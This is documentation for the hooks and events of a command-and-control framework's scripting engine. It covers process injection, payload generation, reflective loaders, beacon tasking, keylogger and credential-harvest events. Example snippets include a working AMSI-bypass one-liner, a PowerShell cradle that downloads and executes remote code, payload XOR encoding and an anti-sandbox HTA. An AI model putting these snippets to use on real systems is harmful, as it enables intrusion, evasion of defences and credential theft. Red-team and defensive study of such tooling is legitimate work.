Skip to content

Hooks & Events

Stentor's CNA scripting engine provides two extensibility mechanisms for customizing C2 behavior: hooks for overriding defaults, and events for reactive automation.


Overview

Hooks

Hooks let you override default behavior in the C2 pipeline. When the server reaches a decision point (e.g., how to inject into a process, how to generate an artifact), it checks whether a CNA hook is registered. If so, the hook's return value replaces the default. If the hook returns $null, the default behavior is used.

Hooks are registered with the set keyword. Only one handler per hook name -- last writer wins (if multiple scripts set the same hook, the most recently loaded script's handler takes effect).

set HOOK_NAME {
    # $1, $2, ... are the hook arguments
    # Return a value to override default behavior
    # Return $null to use default behavior
    return $custom_value;
}

Events

Events let you react to C2 lifecycle activity. When something happens (beacon checks in, operator connects, credential harvested), the EventBus dispatches the event to all registered handlers. Multiple handlers per event -- all registered handlers fire (unlike hooks).

Events are registered with the on keyword:

on event_name {
    # $1, $2, ... are the event arguments
    # No return value expected
    println("Event fired: $1");
}

Wildcard handlers

Register a handler for * to receive every event dispatched by the EventBus. This is useful for audit logging or debugging:

on * {
    println("[event] fired with args");
}

Handler timeout

Event handlers execute with a 30-second timeout. Long-running handlers will be terminated. Keep handlers fast and use bsleep for delayed beacon operations.


Hooks Reference

Stentor implements 29 hooks across 9 categories. Each hook documents its CNA signature, arguments, return convention, and a usage example.

Injection Hooks

These hooks override how Stentor injects code into processes. The injection pipeline checks for a hook before using the default technique. There are four variants covering fork-and-run vs. explicit injection, in SYSTEM vs. user context.

PROCESS_INJECT_SPAWN

Override fork-and-run injection (used by shspawn, execute-assembly, powerpick, and other commands that spawn a sacrificial process).

set PROCESS_INJECT_SPAWN {
    # $1 = beacon ID (string)
    # $2 = DLL/shellcode bytes (string)
    # $3 = ignore current token ("true"/"false")
    # $4 = architecture ("x86"/"x64")
    # $5 = argument buffer (string)
}
Argument Type Description
$1 string Beacon ID
$2 string DLL or shellcode bytes to inject
$3 string "true" to ignore stolen token, "false" to use it
$4 string Target architecture: "x86" or "x64"
$5 string Argument buffer passed to the injected code

Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.

set PROCESS_INJECT_SPAWN {
    local('$bid $dll $arch');
    $bid = $1;
    $dll = $2;
    $arch = $4;

    # Use custom injection: QueueUserAPC into a suspended process
    btask($bid, "Using custom APC injection");
    bdllspawn($bid, $dll, $arch, "rundll32.exe", 1);
    return "handled";
}

Re-entrancy protection

The hook invoker prevents infinite recursion. If your hook calls a b* function that would trigger PROCESS_INJECT_SPAWN again, the re-entrant call uses default behavior instead of calling the hook recursively.


PROCESS_INJECT_EXPLICIT

Override explicit injection into an existing process (used by shinject, dllinject, and targeted injection commands).

set PROCESS_INJECT_EXPLICIT {
    # $1 = beacon ID, $2 = DLL bytes, $3 = target PID,
    # $4 = offset, $5 = architecture, $6 = argument buffer
}
Argument Type Description
$1 string Beacon ID
$2 string DLL or shellcode bytes to inject
$3 string Target process ID (as string)
$4 string Offset into the DLL (as string)
$5 string Target architecture: "x86" or "x64"
$6 string Argument buffer passed to the injected code

Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.

set PROCESS_INJECT_EXPLICIT {
    local('$bid $pid $dll $arch');
    $bid = $1;
    $dll = $2;
    $pid = $3;
    $arch = $5;

    btask($bid, "Injecting into PID $pid via NtMapViewOfSection");
    # Custom injection technique here
    return "handled";
}

PROCESS_INJECT_SPAWN_USER

Override fork-and-run injection when running in a stolen user context (after steal_token). Same arguments as PROCESS_INJECT_SPAWN.

set PROCESS_INJECT_SPAWN_USER {
    # $1 = bid, $2 = dll_bytes, $3 = ignore_token, $4 = arch, $5 = arg_buffer
}
Argument Type Description
$1 string Beacon ID
$2 string DLL or shellcode bytes
$3 string "true" to ignore current token
$4 string Architecture: "x86" or "x64"
$5 string Argument buffer

Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.


PROCESS_INJECT_EXPLICIT_USER

Override explicit injection into an existing process when running in a stolen user context. Same arguments as PROCESS_INJECT_EXPLICIT.

set PROCESS_INJECT_EXPLICIT_USER {
    # $1 = bid, $2 = dll_bytes, $3 = pid, $4 = offset, $5 = arch, $6 = arg_buffer
}
Argument Type Description
$1 string Beacon ID
$2 string DLL or shellcode bytes
$3 string Target process ID
$4 string Offset into the DLL
$5 string Architecture: "x86" or "x64"
$6 string Argument buffer

Return: Any non-null value indicates the hook handled injection. Return $null for default behavior.


Payload Generation Hooks

These hooks intercept the payload generation pipeline, allowing you to customize artifact output, modify raw shellcode, replace reflective loaders, or change compression routines.

EXECUTABLE_ARTIFACT_GENERATOR

Override EXE/DLL artifact generation. This is the Artifact Kit hook -- use it to replace the default executable template with a custom one (e.g., signed binary, packed executable, or custom loader).

set EXECUTABLE_ARTIFACT_GENERATOR {
    # $1 = artifact filename, $2 = shellcode bytes
}
Argument Type Description
$1 string Artifact filename (e.g., "artifact64.exe", "artifact32.dll")
$2 string Raw shellcode bytes to embed

Return: Custom binary bytes as a string. Return $null for default artifact generation.

set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$artifact $shellcode $handle $data');
    $artifact = $1;
    $shellcode = $2;

    # Load custom template from disk
    $handle = openf("/opt/custom-artifacts/ $+ $artifact");
    $data = readb($handle, -1);
    closef($handle);

    # Patch shellcode into template at marker offset
    # (implementation depends on your template format)
    return $data;
}

Artifact Kit

The Artifact Kit is a source code framework for building custom executables. The EXECUTABLE_ARTIFACT_GENERATOR hook is how you integrate a custom Artifact Kit into your CNA workflow. See the Evasion Kits documentation for build-time artifact customization.


RESOURCE_GENERATOR

Override resource script generation. This is the Resource Kit hook for script-based payloads (PowerShell, Python, HTA resource scripts).

set RESOURCE_GENERATOR {
    # $1 = shellcode bytes
}
Argument Type Description
$1 string Raw shellcode bytes

Return: Custom resource script as a string. Return $null for default resource generation.

set RESOURCE_GENERATOR {
    local('$shellcode $encoded');
    $shellcode = $1;

    # Custom encoding/obfuscation of the shellcode
    $encoded = transform($shellcode, "xor");
    return build_custom_loader($encoded);
}

RESOURCE_GENERATOR_VBS

Override VBS (Visual Basic Script) resource artifact generation.

set RESOURCE_GENERATOR_VBS {
    # $1 = executable data, $2 = executable name
}
Argument Type Description
$1 string Executable data (raw bytes)
$2 string Executable filename

Return: Custom VBS script as a string. Return $null for default VBS generation.


PAYLOAD_GENERATE

Modify raw payload bytes during generation. This hook fires after the payload is assembled but before delivery, allowing you to add custom encoding, encryption, or watermarking.

set PAYLOAD_GENERATE {
    # $1 = listener name, $2 = payload bytes, $3 = architecture
}
Argument Type Description
$1 string Listener name this payload connects to
$2 string Raw payload bytes
$3 string Architecture: "x86" or "x64"

Return: Modified payload bytes as a string. Return $null to use unmodified payload.

set PAYLOAD_GENERATE {
    local('$listener $payload $arch');
    $listener = $1;
    $payload = $2;
    $arch = $3;

    # XOR-encode the payload with a random key
    $key = rand(0xFF);
    return xor_encode($payload, $key);
}

PAYLOAD_COMPRESS

Override payload compression. By default, payloads may be compressed before embedding. This hook lets you replace the compression algorithm.

set PAYLOAD_COMPRESS {
    # $1 = payload bytes
}
Argument Type Description
$1 string Raw payload bytes to compress

Return: Compressed payload bytes. Return $null for default compression.


BEACON_RDLL_GENERATE

Replace the default reflective loader with a User-Defined Reflective Loader (UDRL). This hook fires during DLL payload generation and allows you to provide a completely custom reflective loader implementation.

set BEACON_RDLL_GENERATE {
    # $1 = filename, $2 = DLL bytes, $3 = architecture, $4 = options hash
}
Argument Type Description
$1 string DLL filename
$2 string Raw DLL bytes
$3 string Architecture: "x86" or "x64"
$4 hash Options hash with keys like "listener", "profile", etc.

Return: Custom loader DLL bytes. Return $null for the default reflective loader.

set BEACON_RDLL_GENERATE {
    local('$filename $dll $arch $options');
    $filename = $1;
    $dll = $2;
    $arch = $3;
    $options = $4;

    # Load custom UDRL from disk
    $handle = openf("/opt/udrl/loader_ $+ $arch $+ .dll");
    $loader = readb($handle, -1);
    closef($handle);

    # Patch beacon DLL into custom loader
    return patch_loader($loader, $dll);
}

UDRL complexity

Custom reflective loaders are an advanced feature. The loader must correctly parse PE headers, resolve imports, apply relocations, and execute TLS callbacks. Test thoroughly before deployment.


BEACON_RDLL_GENERATE_LOCAL

Replace the reflective loader for local injection (in-process, via dllinject/shinject). This variant receives additional arguments for the parent beacon's context.

set BEACON_RDLL_GENERATE_LOCAL {
    # $1 = filename, $2 = DLL bytes, $3 = arch, $4 = parent beacon ID,
    # $5 = GetModuleHandleA pointer, $6 = GetProcAddress pointer, $7 = options hash
}
Argument Type Description
$1 string DLL filename
$2 string Raw DLL bytes
$3 string Architecture: "x86" or "x64"
$4 string Parent beacon ID (the beacon performing injection)
$5 string GetModuleHandleA function pointer (as string)
$6 string GetProcAddress function pointer (as string)
$7 hash Options hash

Return: Custom loader DLL bytes. Return $null for the default reflective loader.


PowerShell Hooks

These hooks customize PowerShell command construction, download cradles, and script compression.

POWERSHELL_COMMAND

Modify PowerShell command construction before execution. Use this to change how PowerShell commands are wrapped (e.g., add -ExecutionPolicy Bypass, custom encoding, AMSI bypass prepends).

set POWERSHELL_COMMAND {
    # $1 = PowerShell command string, $2 = is remote execution ("true"/"false")
}
Argument Type Description
$1 string The PowerShell command to execute
$2 string "true" if this is a remote execution context

Return: Modified command string. Return $null for default behavior.

set POWERSHELL_COMMAND {
    local('$cmd $remote');
    $cmd = $1;
    $remote = $2;

    # Prepend AMSI bypass to every PowerShell command
    $bypass = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(\$null,\$true);";
    return $bypass . $cmd;
}

POWERSHELL_DOWNLOAD_CRADLE

Override the PowerShell download cradle used for staged payloads.

set POWERSHELL_DOWNLOAD_CRADLE {
    # $1 = URL to download from
}
Argument Type Description
$1 string URL the download cradle should fetch from

Return: Complete PowerShell download cradle script. Return $null for default cradle.

set POWERSHELL_DOWNLOAD_CRADLE {
    local('$url');
    $url = $1;

    # Custom cradle using .NET WebClient with proxy support
    return "IEX([System.Net.WebClient]::new().DownloadString(' $+ $url $+ '))";
}

POWERSHELL_COMPRESS

Override PowerShell script compression. Applied to PowerShell payloads before delivery.

set POWERSHELL_COMPRESS {
    # $1 = PowerShell command to compress
}
Argument Type Description
$1 string PowerShell command string

Return: Compressed/encoded PowerShell command. Return $null for default compression.


HTA Hooks

These hooks customize HTML Application (HTA) payload generation.

HTMLAPP_EXE

Override HTA generation for EXE-based payloads.

set HTMLAPP_EXE {
    # $1 = executable data (bytes), $2 = executable filename
}
Argument Type Description
$1 string Executable data (raw bytes)
$2 string Executable filename

Return: Custom HTA template as a string. Return $null for default HTA.

set HTMLAPP_EXE {
    local('$exe $name');
    $exe = $1;
    $name = $2;

    # Build custom HTA that drops and executes the EXE
    return "<html><head><script language=\"VBScript\">
    ' Custom HTA with anti-sandbox checks
    If Not IsEmpty(GetObject(\"winmgmts:root\\cimv2\").ExecQuery(\"SELECT * FROM Win32_ComputerSystem\").ItemIndex(0).Model) Then
        ' Proceed with execution
    End If
    </script></head></html>";
}

HTMLAPP_POWERSHELL

Override HTA generation for PowerShell-based payloads.

set HTMLAPP_POWERSHELL {
    # $1 = PowerShell command string
}
Argument Type Description
$1 string PowerShell command to execute

Return: Custom HTA template. Return $null for default HTA.


Sleep Mask Hooks

These hooks customize the sleep mask kit -- the code that encrypts beacon memory during sleep intervals.

BEACON_SLEEP_MASK

Provide a custom sleep mask implementation. This hook fires during payload generation and returns source code for the sleep mask routine.

set BEACON_SLEEP_MASK {
    # $1 = beacon type, $2 = architecture, $3 = options hash
}
Argument Type Description
$1 string Beacon type: "default" or "pivot"
$2 string Architecture: "x86" or "x64"
$3 hash Options hash with keys like "listener", "profile"

Return: Custom sleep mask source code (bytes). Return $null for the default or kit-uploaded sleep mask.

set BEACON_SLEEP_MASK {
    local('$type $arch $options $handle $source');
    $type = $1;
    $arch = $2;
    $options = $3;

    # Load custom sleep mask source for the target arch
    $handle = openf("/opt/sleepmask/mask_ $+ $arch $+ .go");
    $source = readb($handle, -1);
    closef($handle);

    return $source;
}

SLEEP_MASK_KIT_BUILD

Modify build flags for the sleep mask compilation. This hook fires before the payload request is dispatched to the relay, allowing you to add custom compiler flags.

set SLEEP_MASK_KIT_BUILD {
    # $1 = source path, $2 = architecture, $3 = current build flags
}
Argument Type Description
$1 string Path to the sleep mask source file (informational, read-only)
$2 string Target architecture: "x86" or "x64"
$3 string Current build flags string

Return: Modified build flags string. Return $null for default flags.

set SLEEP_MASK_KIT_BUILD {
    local('$source $arch $flags');
    $source = $1;
    $arch = $2;
    $flags = $3;

    # Add custom build tag for timer-queue sleep
    return $flags . " -tags timer_queue_sleep";
}

Beacon Lifecycle Hooks

These hooks intercept beacon command processing and first check-in behavior.

BEACON_INITIAL_EMPTY

Handle a new beacon's first check-in when no tasks are pending. Use this to automatically queue initial tasks for every new beacon.

set BEACON_INITIAL_EMPTY {
    # $1 = beacon ID
}
Argument Type Description
$1 string Beacon ID of the newly connected beacon

Return: Any non-null value indicates the hook handled the check-in. Return $null for default behavior.

set BEACON_INITIAL_EMPTY {
    local('$bid');
    $bid = $1;

    # Auto-task every new beacon
    bsleep($bid, 10, 20);  # Set 10s sleep, 20% jitter
    bps($bid);              # List processes
    bipconfig($bid);        # Network config
    return "handled";
}

BEACON_COMMAND_PREPROCESS

Modify a beacon command before it is executed. Allows command interception, aliasing, logging, or transformation.

set BEACON_COMMAND_PREPROCESS {
    # $1 = beacon ID, $2 = command string
}
Argument Type Description
$1 string Beacon ID
$2 string Command string about to be executed

Return: Modified command string. Return $null to use the original command.

set BEACON_COMMAND_PREPROCESS {
    local('$bid $cmd');
    $bid = $1;
    $cmd = $2;

    # Log every command for audit
    elog("[AUDIT] Beacon $bid : $cmd");

    # Block dangerous commands in production
    if ("rm -rf" isin $cmd) {
        berror($bid, "Blocked: destructive command");
        return "";  # Return empty to suppress
    }

    return $null;  # Use original command
}

BEACON_COMMAND_POSTPROCESS

Process a beacon command after completion. Allows output transformation, alerting, or post-processing logic.

set BEACON_COMMAND_POSTPROCESS {
    # $1 = beacon ID, $2 = command, $3 = output
}
Argument Type Description
$1 string Beacon ID
$2 string Command that was executed
$3 string Command output

Return: Any non-null value indicates the hook handled the output. Return $null for default behavior.


Listener Hooks

These hooks intercept listener lifecycle events and retry behavior.

LISTENER_START

React when a listener starts successfully.

set LISTENER_START {
    # $1 = listener name, $2 = listener type
}
Argument Type Description
$1 string Listener name (e.g., "HTTPS Relay")
$2 string Listener type (e.g., "https", "dns", "smb")

Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.


LISTENER_STOP

React when a listener stops.

set LISTENER_STOP {
    # $1 = listener name, $2 = listener type
}
Argument Type Description
$1 string Listener name
$2 string Listener type

Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.


LISTENER_MAX_RETRY_STRATEGIES

Define custom retry strategies for beacon exit-on-failure behavior. Unlike other hooks, this takes no arguments and returns a newline-separated list of strategy strings.

set LISTENER_MAX_RETRY_STRATEGIES {
    # No arguments
}

Return: Newline-separated strategy strings (e.g., "exit-50-25-5m\nexit-75-50-15m"). Return $null for default strategies.

set LISTENER_MAX_RETRY_STRATEGIES {
    return "exit-50-25-5m\nexit-75-50-15m\nexit-90-80-30m";
}

SSH Hooks

SSH_COMMAND_PREPROCESS

Modify an SSH command before execution. Works identically to BEACON_COMMAND_PREPROCESS but for SSH sessions.

set SSH_COMMAND_PREPROCESS {
    # $1 = session ID, $2 = command string
}
Argument Type Description
$1 string SSH session (beacon) ID
$2 string Command string to execute

Return: Modified command string. Return $null to use the original command.


Web Hooks

PROFILER_HIT

React when the system profiler receives a web visit. Use this for visitor tracking, fingerprinting, or conditional payload delivery.

set PROFILER_HIT {
    # $1 = remote IP, $2 = user agent, $3 = URI
}
Argument Type Description
$1 string Remote IP address
$2 string User-Agent header
$3 string Requested URI

Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.

set PROFILER_HIT {
    local('$ip $ua $uri');
    $ip = $1;
    $ua = $2;
    $uri = $3;

    # Log profiler hits
    elog("[PROFILER] $ip visited $uri (UA: $ua)");
    return $null;
}

WEB_HIT

React when the relay web server receives an HTTP request.

set WEB_HIT {
    # $1 = remote IP, $2 = HTTP method, $3 = URI, $4 = user agent
}
Argument Type Description
$1 string Remote IP address
$2 string HTTP method ("GET", "POST", etc.)
$3 string Requested URI
$4 string User-Agent header

Return: Any non-null value indicates the hook handled the event. Return $null for default behavior.


Other Hooks

PYTHON_COMPRESS

Override Python script compression for Python-based payloads.

set PYTHON_COMPRESS {
    # $1 = Python command
}
Argument Type Description
$1 string Python command string

Return: Compressed/encoded Python command. Return $null for default compression.


BEACON_RDLL_SIZE

Specify a custom RDLL (Reflective DLL) size for payload generation. Use this when your custom reflective loader requires more space than the default allocation.

set BEACON_RDLL_SIZE {
    # $1 = architecture, $2 = is stageless ("true"/"false")
}
Argument Type Description
$1 string Architecture: "x86" or "x64"
$2 string "true" if generating a stageless payload

Return: Integer size as a string (e.g., "512000"). Return $null for default size.

set BEACON_RDLL_SIZE {
    local('$arch $stageless');
    $arch = $1;
    $stageless = $2;

    if ($arch eq "x64") {
        return "512000";  # 500KB for x64 UDRL
    }
    return "256000";  # 250KB for x86
}

PSEXEC_SERVICE

Set a custom PsExec service name. Unlike other hooks, this is a simple string value (not a closure).

# Note: This is a value assignment, not a closure
set PSEXEC_SERVICE "stentorsvc";
Setting Type Description
Value string Custom service name for PsExec lateral movement

Return: N/A -- the value is read directly when PsExec is invoked.

String hook

PSEXEC_SERVICE is unique among hooks: it stores a string value rather than a closure. Use set PSEXEC_SERVICE "name"; -- not set PSEXEC_SERVICE { return "name"; }.


POSTEX_RDLL_GENERATE

Replace the default post-exploitation reflective loader. This hook applies to post-ex DLLs (mimikatz, screenshot, keylogger modules) rather than the beacon itself.

set POSTEX_RDLL_GENERATE {
    # $1 = beacon ID, $2 = DLL bytes, $3 = architecture
}
Argument Type Description
$1 string Beacon ID requesting the post-ex module
$2 string Raw DLL bytes
$3 string Architecture: "x86" or "x64"

Return: Custom post-ex DLL bytes. Return $null for the default loader.


Hooks Summary Table

Quick reference for all 29 hooks:

Hook Category Arguments Returns
PROCESS_INJECT_SPAWN Injection bid, dll, ignore_token, arch, args bool
PROCESS_INJECT_EXPLICIT Injection bid, dll, pid, offset, arch, args bool
PROCESS_INJECT_SPAWN_USER Injection bid, dll, ignore_token, arch, args bool
PROCESS_INJECT_EXPLICIT_USER Injection bid, dll, pid, offset, arch, args bool
EXECUTABLE_ARTIFACT_GENERATOR Payload Gen artifact_file, shellcode bytes
RESOURCE_GENERATOR Payload Gen shellcode string
RESOURCE_GENERATOR_VBS Payload Gen exe_data, exe_name string
PAYLOAD_GENERATE Payload Gen listener, payload, arch bytes
PAYLOAD_COMPRESS Payload Gen payload_bytes bytes
BEACON_RDLL_GENERATE Payload Gen filename, dll, arch, options bytes
BEACON_RDLL_GENERATE_LOCAL Payload Gen filename, dll, arch, bid, gmha, gpa, options bytes
POWERSHELL_COMMAND PowerShell command, is_remote string
POWERSHELL_DOWNLOAD_CRADLE PowerShell url string
POWERSHELL_COMPRESS PowerShell ps_command string
HTMLAPP_EXE HTA exe_data, exe_name string
HTMLAPP_POWERSHELL HTA ps_command string
BEACON_SLEEP_MASK Sleep Mask beacon_type, arch, options bytes
SLEEP_MASK_KIT_BUILD Sleep Mask source_path, arch, flags string
BEACON_INITIAL_EMPTY Lifecycle bid bool
BEACON_COMMAND_PREPROCESS Lifecycle bid, command string
BEACON_COMMAND_POSTPROCESS Lifecycle bid, command, output bool
LISTENER_START Listener name, type bool
LISTENER_STOP Listener name, type bool
LISTENER_MAX_RETRY_STRATEGIES Listener (none) string
SSH_COMMAND_PREPROCESS SSH bid, command string
PROFILER_HIT Web ip, ua, uri bool
WEB_HIT Web ip, method, uri, ua bool
PYTHON_COMPRESS Other py_command string
BEACON_RDLL_SIZE Other arch, is_stageless int
PSEXEC_SERVICE Other (string value) string
POSTEX_RDLL_GENERATE Other bid, dll, arch bytes

Events Reference

Stentor dispatches 57+ events across 15 categories. All events are non-blocking: each handler runs in its own goroutine with panic recovery.

Beacon Lifecycle Events

These events fire during the beacon connection lifecycle -- initial check-in, subsequent check-ins, mode changes, and exit.

beacon_initial

Fires when a new beacon checks in for the first time.

on beacon_initial {
    # $1 = beacon ID
    local('$bid');
    $bid = $1;
    println("[+] New beacon: $bid");
}
Argument Type Description
$1 string Beacon ID

Source: c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()


beacon_initial_empty

Fires when a new beacon checks in and has no pending tasks. This is distinct from beacon_initial and fires in addition to it.

on beacon_initial_empty {
    # $1 = beacon ID
    bsleep($1, 5, 0);
    bps($1);
}
Argument Type Description
$1 string Beacon ID

Source: c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()


beacon_checkin

Fires on subsequent check-ins (not the first). Use this for monitoring beacon health and connectivity.

on beacon_checkin {
    # $1 = beacon ID, $2 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Timestamp of the check-in

Source: c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()


beacon_exit

Fires when a beacon is removed (stale cleanup or manual delete).

on beacon_exit {
    # $1 = beacon ID
    elog("[!] Lost beacon: $1");
}
Argument Type Description
$1 string Beacon ID

Source: c2/handler.go WireBeaconExitEvent() via BeaconRegistry callback


beacon_mode

Fires when a beacon changes its transport mode (e.g., switching between DNS modes).

on beacon_mode {
    # $1 = beacon ID, $2 = new mode, $3 = timestamp
    elog("Beacon $1 switched to $2 mode");
}
Argument Type Description
$1 string Beacon ID
$2 string New transport mode (e.g., "dns", "dns6", "dns-txt")
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=transport_mode]


Beacon Task/Output Events

These events fire when commands are queued, input is received, and output arrives from beacons.

beacon_tasked

Fires when a command is queued for a beacon.

on beacon_tasked {
    # $1 = beacon ID, $2 = command, $3 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Command string queued
$3 string Timestamp

Source: handler/cockpit_shell.go enqueueAndRespond()


beacon_input

Fires when an operator or script queues input for a beacon.

on beacon_input {
    # $1 = beacon ID, $2 = operator name, $3 = command, $4 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Operator who sent the command (or "aggressor" for CNA scripts)
$3 string Command string
$4 string Timestamp

Source: handler/cockpit_shell.go enqueueAndRespond(), aggressor/beacon_api.go


beacon_output

Fires when a beacon returns successful task output.

on beacon_output {
    # $1 = beacon ID, $2 = output text, $3 = timestamp
    println("[output] $1 : $2");
}
Argument Type Description
$1 string Beacon ID
$2 string Output text
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()


beacon_output_alt

Fires for structured/alternate-format output (e.g., ls, ps, jobs output that has a special format).

on beacon_output_alt {
    # $1 = beacon ID, $2 = structured output, $3 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Structured output data
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [OutputType == "alt"]


beacon_error

Fires when a beacon returns a task error.

on beacon_error {
    # $1 = beacon ID, $2 = error message, $3 = timestamp
    elog("[ERROR] Beacon $1 : $2");
}
Argument Type Description
$1 string Beacon ID
$2 string Error message
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()


Beacon Specialized Output Events

These events fire for specific output types, providing more granular event handling than the generic beacon_output_alt.

beacon_output_jobs

Fires when job listing output arrives from a beacon.

on beacon_output_jobs {
    # $1 = beacon ID, $2 = job listing output, $3 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Job listing output
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=jobs]


beacon_output_ls

Fires when directory listing output arrives from a beacon.

on beacon_output_ls {
    # $1 = beacon ID, $2 = directory listing, $3 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Directory listing output
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=ls]


beacon_output_ps

Fires when process listing output arrives from a beacon.

on beacon_output_ps {
    # $1 = beacon ID, $2 = process listing, $3 = timestamp
    # Parse and filter for interesting processes
}
Argument Type Description
$1 string Beacon ID
$2 string Process listing output
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=ps]


Beacon Indicator Events

beacon_indicator

Fires when an Indicator of Compromise (IoC) is recorded for a beacon, such as a process injection or file write.

on beacon_indicator {
    # $1 = beacon ID, $2 = indicator type, $3 = indicator value
    elog("[IOC] $2 : $3 (beacon $1)");
}
Argument Type Description
$1 string Beacon ID
$2 string Indicator type (e.g., "process", "file")
$3 string Indicator value (PID, file path, etc.)

Source: c2/encrypted_handler.go DispatchBeaconIndicator()


Download Events

download_start

Fires when a download task is dispatched to a beacon.

on download_start {
    # $1 = beacon ID, $2 = task ID
    elog("Download started: beacon $1 , task $2");
}
Argument Type Description
$1 string Beacon ID
$2 string Task ID

Source: c2/encrypted_handler.go GetTask() [task.Type=download]


download_complete

Fires when a download task completes successfully.

on download_complete {
    # $1 = beacon ID, $2 = output data, $3 = timestamp
}
Argument Type Description
$1 string Beacon ID
$2 string Download output/status
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=download]


Keylogger & Screenshot Events

keylog_hit

Fires when keylogger data arrives from a beacon.

on keylog_hit {
    # $1 = beacon ID, $2 = keylog data, $3 = timestamp
    elog("[KEYS] Beacon $1 : $2");
}
Argument Type Description
$1 string Beacon ID
$2 string Keylogger data (keystrokes captured)
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=keylog]


screenshot

Fires when a screenshot is received from a beacon.

on screenshot {
    # $1 = beacon ID, $2 = timestamp
    elog("[SCREENSHOT] Received from beacon $1");
}
Argument Type Description
$1 string Beacon ID
$2 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=screenshot]


SSH Events

These events mirror the beacon lifecycle events but for SSH sessions initiated from beacons.

ssh_initial

Fires when an SSH session is initiated from a beacon.

on ssh_initial {
    # $1 = session ID
    elog("[SSH] Session initiated: $1");
}
Argument Type Description
$1 string SSH session ID

Source: handler/cockpit_ssh.go Connect()


ssh_close

Fires when an SSH session is disconnected.

on ssh_close {
    # $1 = session ID
}
Argument Type Description
$1 string SSH session ID

Source: handler/cockpit_ssh.go Disconnect()


ssh_output

Fires when SSH task output arrives.

on ssh_output {
    # $1 = session ID, $2 = output, $3 = timestamp
}
Argument Type Description
$1 string SSH session ID
$2 string Output text
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=ssh, success]


ssh_error

Fires when an SSH task returns an error.

on ssh_error {
    # $1 = session ID, $2 = error message, $3 = timestamp
}
Argument Type Description
$1 string SSH session ID
$2 string Error message
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=ssh, error]


ssh_tasked

Fires when a command is queued for an SSH session.

on ssh_tasked {
    # $1 = session ID, $2 = command, $3 = timestamp
}
Argument Type Description
$1 string SSH session ID
$2 string Command string
$3 string Timestamp

Source: handler/cockpit_ssh.go Shell()


ssh_input

Fires when operator input is sent to an SSH session.

on ssh_input {
    # $1 = session ID, $2 = operator name, $3 = command, $4 = timestamp
}
Argument Type Description
$1 string SSH session ID
$2 string Operator who sent the command
$3 string Command string
$4 string Timestamp

Source: handler/cockpit_ssh.go Shell()


ssh_checkin

Fires on SSH session activity (subsequent to initial connection).

on ssh_checkin {
    # $1 = session ID, $2 = timestamp
}
Argument Type Description
$1 string SSH session ID
$2 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=ssh]


ssh_indicator

Fires when an IoC is recorded for an SSH session.

on ssh_indicator {
    # $1 = session ID, $2 = indicator type, $3 = indicator value
}
Argument Type Description
$1 string SSH session ID
$2 string Indicator type
$3 string Indicator value

Source: c2/encrypted_handler.go DispatchSSHIndicator()


ssh_output_alt

Fires for structured/alternate SSH output.

on ssh_output_alt {
    # $1 = session ID, $2 = structured output, $3 = timestamp
}
Argument Type Description
$1 string SSH session ID
$2 string Structured output
$3 string Timestamp

Source: c2/encrypted_handler.go SubmitResult() [technique=ssh, OutputType=alt]


Listener Events

listener_start

Fires when a listener starts successfully on the relay.

on listener_start {
    # $1 = listener name, $2 = status
    elog("[+] Listener started: $1 ($2)");
}
Argument Type Description
$1 string Listener name
$2 string Status message

Source: cmd/api/main.go relay message handler [RelayEventListenerStarted]


listener_stop

Fires when a listener is stopped on the relay.

on listener_stop {
    # $1 = listener name, $2 = status
}
Argument Type Description
$1 string Listener name
$2 string Status message

Source: cmd/api/main.go relay message handler [RelayEventListenerStopped]


listener_error

Fires when a listener encounters an error.

on listener_error {
    # $1 = listener name, $2 = error message
    elog("[!] Listener error: $1 -- $2");
}
Argument Type Description
$1 string Listener name
$2 string Error message

Source: cmd/api/main.go relay message handler [RelayEventListenerError]


listener_unresolved_host

Fires when a listener host cannot be resolved during payload generation.

on listener_unresolved_host {
    # $1 = hostname
    elog("[!] Cannot resolve: $1");
}
Argument Type Description
$1 string Unresolvable hostname

Source: aggressor/payload_gen.go DispatchListenerUnresolvedHost()


Credential Events

credential_add

Fires when a credential is stored in the credential model (via chromedump auto-store, CNA credential_add(), or hashdump).

on credential_add {
    # $1 = type, $2 = username, $3 = password/hash, $4 = source, $5 = host
    elog("[CRED] $1 : $2 from $4 on $5");
}
Argument Type Description
$1 string Credential type (e.g., "plaintext", "hash")
$2 string Username
$3 string Password or hash value
$4 string Source of the credential (e.g., "hashdump", "chromedump")
$5 string Host where credential was harvested

Source: cmd/api/main.go chromedumpAutoStore callback, aggressor/credential_mutation.go credentialAdd()


Operator Events

These events fire when operators interact with the team server chat and presence system.

event_join

Fires when an operator connects to the team server.

on event_join {
    # $1 = operator email, $2 = timestamp
    elog("[+] $1 joined");
}
Argument Type Description
$1 string Operator email address
$2 string Timestamp

